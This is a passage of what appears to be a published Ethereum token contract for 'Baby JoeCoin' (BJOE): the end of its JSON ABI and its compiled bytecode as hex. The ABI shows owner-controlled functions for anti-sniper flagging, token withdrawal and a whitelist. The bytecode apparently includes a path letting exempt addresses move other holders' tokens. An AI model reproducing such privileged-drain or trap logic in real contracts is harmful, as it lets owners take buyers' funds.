ame":"sellTaxGlobal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"skipTheSnipas","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdrawTokenms","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawTokenms","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"wl","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600c81526020017f42616279204a6f65436f696e0000000000000000000000000000000000000000815250600690816200004a919062000e7a565b506040518060400160405280600481526020017f424a4f45000000000000000000000000000000000000000000000000000000008152506007908162000091919062000e7a565b506103e860266b033b2e3c9fd0803ce8000000620000b0919062000f90565b620000bc91906200100a565b6008556103e860266b033b2e3c9fd0803ce8000000620000dd919062000f90565b620000e991906200100a565b60095561271060056b033b2e3c9fd0803ce80000006200010a919062000f90565b6200011691906200100a565b600a55730b3adc53e9e3c3ef465cef131ead977d46041d2f600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060016101000a81548160ff0219169083151502179055506000601060026101000a81548160ff0219169083151502179055506000601060036101000a81548160ff02191690831515021790555060006011556000601255600060135573e5c8d72d1f8a774e3cc2551e8b3ceff225c78a99601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200027357600080fd5b5060068054620002839062000c69565b80601f0160208091040260200160405190810160405280929190818152602001828054620002b19062000c69565b8015620003025780601f10620002d65761010080835404028352916020019162000302565b820191906000526020600020905b815481529060010190602001808311620002e457829003601f168201915b505050505060078054620003169062000c69565b80601f0160208091040260200160405190810160405280929190818152602001828054620003449062000c69565b8015620003955780601f10620003695761010080835404028352916020019162000395565b820191906000526020600020905b8154815290600101906020018083116200037757829003601f168201915b50505050508160039081620003ab919062000e7a565b508060049081620003bd919062000e7a565b505050620003e0620003d46200099160201b60201c565b6200099960201b60201c565b620003fe336b033b2e3c9fd0803ce800000062000a5f60201b60201c565b6003601060006101000a81548160ff0219169083600381111562000427576200042662001042565b5b02179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506001600e60006200048f62000bcc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d600060805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550506200115d565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000ad1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ac890620010d2565b60405180910390fd5b62000ae56000838362000bf660201b60201c565b806002600082825462000af99190620010f4565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000bac919062001140565b60405180910390a362000bc86000838362000bfb60201b60201c565b5050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c8257607f821691505b60208210810362000c985762000c9762000c3a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000d027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000cc3565b62000d0e868362000cc3565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d5b62000d5562000d4f8462000d26565b62000d30565b62000d26565b9050919050565b6000819050919050565b62000d778362000d3a565b62000d8f62000d868262000d62565b84845462000cd0565b825550505050565b600090565b62000da662000d97565b62000db381848462000d6c565b505050565b5b8181101562000ddb5762000dcf60008262000d9c565b60018101905062000db9565b5050565b601f82111562000e2a5762000df48162000c9e565b62000dff8462000cb3565b8101602085101562000e0f578190505b62000e2762000e1e8562000cb3565b83018262000db8565b50505b505050565b600082821c905092915050565b600062000e4f6000198460080262000e2f565b1980831691505092915050565b600062000e6a838362000e3c565b9150826002028217905092915050565b62000e858262000c00565b67ffffffffffffffff81111562000ea15762000ea062000c0b565b5b62000ead825462000c69565b62000eba82828562000ddf565b600060209050601f83116001811462000ef2576000841562000edd578287015190505b62000ee9858262000e5c565b86555062000f59565b601f19841662000f028662000c9e565b60005b8281101562000f2c5784890151825560018201915060208501945060208101905062000f05565b8683101562000f4c578489015162000f48601f89168262000e3c565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000f9d8262000d26565b915062000faa8362000d26565b925082820262000fba8162000d26565b9150828204841483151762000fd45762000fd362000f61565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620010178262000d26565b9150620010248362000d26565b92508262001037576200103662000fdb565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620010ba601f8362001071565b9150620010c78262001082565b602082019050919050565b60006020820190508181036000830152620010ed81620010ab565b9050919050565b6000620011018262000d26565b91506200110e8362000d26565b925082820190508082111562001129576200112862000f61565b5b92915050565b6200113a8162000d26565b82525050565b60006020820190506200115760008301846200112f565b92915050565b608051613bd6620011b8600039600081816109b701528181610eaf01528181610f5a0152818161108d015281816110d40152818161128501528181611422015281816127ed015281816128e601526129890152613bd66000f3fe6080604052600436106102085760003560e01c8063751039fc11610118578063b61b64fa116100a0578063e5b37a651161006f578063e5b37a6514610761578063e83c12331461079e578063ef437ff5146107c7578063f2fde38b146107f0578063fca675a8146108195761020f565b8063b61b64fa146106c6578063c673bb1d146106f1578063d226838a1461071a578063dd62ed3e146107245761020f565b806395d89b41116100e757806395d89b41146105cb578063a014f37d146105f6578063a457c2d714610621578063a9059cbb1461065e578063aa4bde281461069b5761020f565b8063751039fc146105215780638baa8249146105385780638c0b5e22146105755780638da5cb5b146105a05761020f565b80632fee9e7e1161019b5780633eb5d9b21161016a5780633eb5d9b21461044c57806349bd5a5e1461047757806354b762a6146104a257806370a08231146104cd578063715018a61461050a5761020f565b80632fee9e7e1461037c578063313ce567146103b957806333ee1793146103e4578063395093511461040f5761020f565b8063095ea7b3116101d7578063095ea7b3146102ac5780631694505e146102e957806318160ddd1461031457806323b872dd1461033f5761020f565b806303fd2a45146102145780630445b6671461023f578063055b8b3e1461026a57806306fdde03146102815761020f565b3661020f57005b600080fd5b34801561022057600080fd5b50610229610844565b6040516102369190612a60565b60405180910390f35b34801561024b57600080fd5b5061025461086a565b6040516102619190612a94565b60405180910390f35b34801561027657600080fd5b5061027f610870565b005b34801561028d57600080fd5b50610296610900565b6040516102a39190612b3f565b60405180910390f35b3480156102b857600080fd5b506102d360048036038101906102ce9190612bbe565b610992565b6040516102e09190612c19565b60405180910390f35b3480156102f557600080fd5b506102fe6109b5565b60405161030b9190612c93565b60405180910390f35b34801561032057600080fd5b506103296109d9565b6040516103369190612a94565b60405180910390f35b34801561034b57600080fd5b5061036660048036038101906103619190612cae565b6109e3565b6040516103739190612c19565b60405180910390f35b34801561038857600080fd5b506103a3600480360381019061039e9190612d01565b610a12565b6040516103b09190612c19565b60405180910390f35b3480156103c557600080fd5b506103ce610a32565b6040516103db9190612d4a565b60405180910390f35b3480156103f057600080fd5b506103f9610a3b565b6040516104069190612a94565b60405180910390f35b34801561041b57600080fd5b5061043660048036038101906104319190612bbe565b610a41565b6040516104439190612c19565b60405180910390f35b34801561045857600080fd5b50610461610a78565b60405161046e9190612a94565b60405180910390f35b34801561048357600080fd5b5061048c610a7e565b6040516104999190612a60565b60405180910390f35b3480156104ae57600080fd5b506104b7610aa4565b6040516104c49190612c19565b60405180910390f35b3480156104d957600080fd5b506104f460048036038101906104ef9190612d01565b610b20565b6040516105019190612a94565b60405180910390f35b34801561051657600080fd5b5061051f610b68565b005b34801561052d57600080fd5b50610536610b7c565b005b34801561054457600080fd5b5061055f600480360381019061055a9190612d01565b610bac565b60405161056c9190612c19565b60405180910390f35b34801561058157600080fd5b5061058a610bcc565b6040516105979190612a94565b60405180910390f35b3480156105ac57600080fd5b506105b5610bd2565b6040516105c29190612a60565b60405180910390f35b3480156105d757600080fd5b506105e0610bfc565b6040516105ed9190612b3f565b60405180910390f35b34801561060257600080fd5b5061060b610c8e565b6040516106189190612c19565b60405180910390f35b34801561062d57600080fd5b5061064860048036038101906106439190612bbe565b610cda565b6040516106559190612c19565b60405180910390f35b34801561066a57600080fd5b5061068560048036038101906106809190612bbe565b610d51565b6040516106929190612c19565b60405180910390f35b3480156106a757600080fd5b506106b0610d74565b6040516106bd9190612a94565b60405180910390f35b3480156106d257600080fd5b506106db610d7a565b6040516106e89190612a94565b60405180910390f35b3480156106fd57600080fd5b5061071860048036038101906107139190612d01565b610d80565b005b610722610ea5565b005b34801561073057600080fd5b5061074b60048036038101906107469190612d65565b61118e565b6040516107589190612a94565b60405180910390f35b34801561076d57600080fd5b5061078860048036038101906107839190612d01565b611215565b6040516107959190612c19565b60405180910390f35b3480156107aa57600080fd5b506107c560048036038101906107c09190612bbe565b611235565b005b3480156107d357600080fd5b506107ee60048036038101906107e99190612dd1565b611565565b005b3480156107fc57600080fd5b5061081760048036038101906108129190612d01565b6115c8565b005b34801561082557600080fd5b5061082e61164b565b60405161083b9190612e88565b60405180910390f35b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b61087861165e565b601060029054906101000a900460ff16156108c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bf90612eef565b60405180910390fd5b6001601060026101000a81548160ff0219169083151502179055506001601060036101000a81548160ff021916908315150217905550565b60606003805461090f90612f3e565b80601f016020809104026020016040519081016040528092919081815260200182805461093b90612f3e565b80156109885780601f1061095d57610100808354040283529160200191610988565b820191906000526020600020905b81548152906001019060200180831161096b57829003601f168201915b5050505050905090565b60008061099d6116dc565b90506109aa8185856116e4565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b6000806109ee6116dc565b90506109fb8582856118ad565b610a06858585611939565b60019150509392505050565b600e6020528060005260406000206000915054906101000a900460ff1681565b60006012905090565b60125481565b600080610a4c6116dc565b9050610a6d818585610a5e858961118e565b610a689190612f9e565b6116e4565b600191505092915050565b60115481565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6016549081150290604051600060405180830381858888f19350505050158015610b10573d6000803e3d6000fd5b5060006016819055506001905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b7061165e565b610b7a60006122f3565b565b610b8461165e565b6b033b2e3c9fd0803ce80000006008819055506b033b2e3c9fd0803ce8000000600981905550565b600f6020528060005260406000206000915054906101000a900460ff1681565b60085481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610c0b90612f3e565b80601f0160208091040260200160405190810160405280929190818152602001828054610c3790612f3e565b8015610c845780601f10610c5957610100808354040283529160200191610c84565b820191906000526020600020905b815481529060010190602001808311610c6757829003601f168201915b5050505050905090565b6000610c9861165e565b6003601060006101000a81548160ff02191690836003811115610cbe57610cbd612e11565b5b0217905550600060118190555060006012819055506001905090565b600080610ce56116dc565b90506000610cf3828661118e565b905083811015610d38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2f90613044565b60405180910390fd5b610d4582868684036116e4565b60019250505092915050565b600080610d5c6116dc565b9050610d69818585611939565b600191505092915050565b60095481565b60165481565b610d8861165e565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610e009190612a60565b602060405180830381865afa158015610e1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e419190613079565b6040518363ffffffff1660e01b8152600401610e5e9291906130a6565b6020604051808303816000875af1158015610e7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea191906130e4565b5050565b610ead61165e565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3c9190613126565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fc3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe79190613126565b6040518363ffffffff1660e01b8152600401611004929190613153565b6020604051808303816000875af1158015611023573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110479190613126565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506110d2307f00000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6116e4565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d719343061111930610b20565b600080611124610bd2565b426040518863ffffffff1660e01b8152600401611146969594939291906131b7565b60606040518083038185885af1158015611164573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111899190613218565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b6000600267ffffffffffffffff8111156112525761125161326b565b5b6040519080825280602002602001820160405280156112805781602001602082028036833780820191505090505b5090507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113129190613126565b816000815181106113265761132561329a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106113755761137461329a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000816001815181106113c5576113c461329a565b5b60200260200101519050600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166114b8577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008588426040518663ffffffff1660e01b81526004016114819493929190613387565b6000604051808303818588803b15801561149a57600080fd5b505af11580156114ae573d6000803e3d6000fd5b505050505061155f565b6114c284846123b9565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd85846001815181106114f3576114f261329a565b5b6020026020010151866040518463ffffffff1660e01b815260040161151a939291906133d3565b6020604051808303816000875af1158015611539573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061155d91906130e4565b505b50505050565b61156d61165e565b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6115d061165e565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361163f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116369061347c565b60405180910390fd5b611648816122f3565b50565b601060009054906101000a900460ff1681565b6116666116dc565b73ffffffffffffffffffffffffffffffffffffffff16611684610bd2565b73ffffffffffffffffffffffffffffffffffffffff16146116da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d1906134e8565b60405180910390fd5b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174a9061357a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b99061360c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118a09190612a94565b60405180910390a3505050565b60006118b9848461118e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146119335781811015611925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191c90613678565b60405180910390fd5b61193284848484036116e4565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199f9061370a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0e9061379c565b60405180910390fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611abb5750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b1057601060029054906101000a900460ff16611b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0690613808565b60405180910390fd5b5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611bb45750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611cad57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611cac57600854811115611c53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4a9061389a565b60405180910390fd5b600954611c5f83610b20565b82611c6a9190612f9e565b1115611cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca29061392c565b60405180910390fd5b5b5b6000819050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d565750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122e257601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611e045750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156121f457600854821115611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e45906139be565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611ef55750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f2d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611fff5760006003811115611f4657611f45612e11565b5b601060009054906101000a900460ff166003811115611f6857611f67612e11565b5b03611fc6576001600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6000606460115484611fd891906139de565b611fe29190613a4f565b9050611fef853083612407565b8083611ffb9190613a80565b9150505b8273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156120a65750600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120de57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120f65750601060039054906101000a900460ff165b801561210f5750601060019054906101000a900460ff16155b156121ef576000601254905060011515600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036121795760135490505b6001601060016101000a81548160ff02191690831515021790555061219c61267d565b6000601060016101000a81548160ff0219169083151502179055506000606482856121c791906139de565b6121d19190613a4f565b90506121de863083612407565b80846121ea9190613a80565b925050505b6122e1565b60011515600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151480156122a257508273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b156122e05760006064601354846122b991906139de565b6122c39190613a4f565b90506122d0853083612407565b80836122dc9190613a80565b9150505b5b5b6122ed848483612407565b50505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600030905060006123ca828561118e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146124015761240084838584036116e4565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246d9061370a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036124e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124dc9061379c565b60405180910390fd5b6124f0838383612744565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256d90613b26565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126649190612a94565b60405180910390a3612677848484612749565b50505050565b600061268830610b20565b03156127425760008061269a30610b20565b9050600047905060006126ce600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b20565b90506000600a5484111561273c574792506126ea84600061274e565b82476126f69190613a80565b9450600a54821115612722578061270e576000612710565b845b8561271b9190613a4f565b6016819055505b84601660008282546127349190612f9e565b925050819055505b50505050505b565b505050565b505050565b6000600267ffffffffffffffff81111561276b5761276a61326b565b5b6040519080825280602002602001820160405280156127995781602001602082028036833780820191505090505b50905030816000815181106127b1576127b061329a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612856573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061287a9190613126565b8160018151811061288e5761288d61329a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503073ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f00000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016129439291906130a6565b6020604051808303816000875af1158015612962573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061298691906130e4565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94784848430426040518663ffffffff1660e01b81526004016129e8959493929190613b46565b600060405180830381600087803b158015612a0257600080fd5b505af1158015612a16573d6000803e3d6000fd5b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a4a82612a1f565b9050919050565b612a5a81612a3f565b82525050565b6000602082019050612a756000830184612a51565b92915050565b6000819050919050565b612a8e81612a7b565b82525050565b6000602082019050612aa96000830184612a85565b9291505